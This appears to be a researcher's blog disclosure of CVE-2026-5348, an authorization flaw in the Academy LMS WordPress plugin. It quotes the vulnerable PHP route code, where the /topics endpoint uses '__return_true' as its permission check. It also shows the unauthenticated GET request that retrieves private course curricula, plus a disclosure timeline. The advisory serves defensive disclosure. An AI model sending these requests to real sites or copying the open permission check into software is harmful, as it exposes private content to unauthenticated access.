Limited Time Launch Offer: Save 90% on kMAPTA Exam Voucher Coupon: kMAPTA-90-OFF

CVE-2026-5348: Broken REST API Authorization Exposes Private Course Content in Academy LMS

Academy LMS is a WordPress learning managmeent system plugin. The plugin is not widely deployed in WordPress ecosystem but currently the plugin recorded 100k+ downloads and 2K active installations. So two thousands active sites still represent a meaningful attack surface.

During security research, I have identified a broken access control issue in one of the plugin's REST API endpoints that allowed an unauthenticated attacker to retrieve curriculum information from courses that were not intended to be publicly accessible.

Affected Version : <= 3.8.1

The Vulnerability

The issue is a straightforward Insecure Direct Object Reference (IDOR) in an Academy LMS REST API endpoint responsible for returning course curriculum data. When I looked at the route registration and its corresponding callback function, the issue became clear. The endpoint accepts a course ID from the request and uses it to retrieve curriculum data without performing a proper authorization check.

public function register_routes() {
		$this->namespace = ACADEMY_PLUGIN_SLUG . '/v1';
		$obj             = get_post_type_object( 'academy_courses' );
		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;

		$schema        = $this->get_item_schema();
		$get_item_args = array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
		if ( isset( $schema['properties']['password'] ) ) {
			$get_item_args['password'] = array(
				'description' => esc_html__( 'The password for the post if it is password protected.', 'academy' ),
				'type'        => 'string',
			);
		}

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)/topics',
			array(
				'args'   => array(
					'id' => array(
						'description' => esc_html__( 'Unique identifier for the object.', 'academy' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => \WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item_topics' ),
					'permission_callback' => '__return_true',
					'args'                => $get_item_args,
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)/announcements',
			array(
				'args'   => array(
					'id' => array(
						'description' => esc_html__( 'Unique identifier for the object.', 'academy' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => \WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item_announcements' ),
					'permission_callback' => array( $this, 'get_announcements_permissions_check' ),
					'args'                => $get_item_args,
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	public function get_item_topics( $request ) {
		$course_id   = $request->get_param( 'id' );
		$curriculums = \Academy\Helper::get_course_curriculum( $course_id );
		return apply_filters( 'academy/api/course/get_item_curriculums', $curriculums, $course_id );
	}

The key issue here is the permission_callback inside the /topics route registration.

In the WordPress REST API, the permission_callback determines whether a request is allowed to access an endpoint. As it was using __return_true which means every request is automatically authorized, including requests from unauthenticated users. Because of this, the endpoint performs no check to determine whether the requested course is public, private, password protected, or whether the user is enrolled in it. The supplied course ID is simply passed to get_course_curriculum(), and the associated curriculum data is returned.

The attack path was very simple. I only needed a valid course ID and could then use it directly in the REST API request using the following endpoint structure:

GET /wp-json/academy/v1/academy_courses/{course_id}/topics

For example, a private or password-protected course with ID 42 may be inaccessible through the normal frontend, but its curriculum can still be requested directly using the following request:

GET /wp-json/academy/v1/academy_courses/42/topics

A successful response may return similar data like this :

[
  {
    "title": "this is a private curriculam",
    "content": "",
    "topics": [
      {
        "id": 1,
        "name": "this is lesson title",
        "type": "lesson",
        "is_completed": "",
        "is_accessible": false,
        "slug": "this-is-lesson-title",
        "duration": "01:00:00"
      },
      {
        "name": "this is sub item of curriculam",
        "type": "sub-curriculum",
        "id": 1,
        "topics": [],
        "is_completed": "",
        "is_accessible": false,
        "slug": "hello-world"
      }
    ]
  }
]

The interesting thing is, the response itself mark individual items as "is_accessible": false but the curriculum data has already been returned. So an attacker just needs a valid course Id to retrieve restricted course curriculum.

Disclosure Timeline

  • Feb 3, 2026 : I reported the vulnerability through Wordfence Intelligence
  • Apr 1, 2026 : The report was validated and CVE-2026-5348 was assigned.
  • Jul 1, 2026 : The CVE was disclosed publicly.

References

Written By
Photo of Md. Moniruzzaman Prodhan

Md. Moniruzzaman Prodhan

Director, Security Research & Programs

A cybersecurity professional working across training, security assessments, and research. Founder of the Knight Squad community and Director, Security Research & Programs at Knight Squad Academy. Has delivered cybersecurity training for multiple government agencies in Bangladesh, with hands-on experience in VAPT/penetration testing, malware analysis, reverse engineering, and AI security testing. Actively involved in responsible vulnerability research, including 0-day hunting, and contributes to the community as an event director and CTF challenge creator for KnightCTF and BDSec CTF.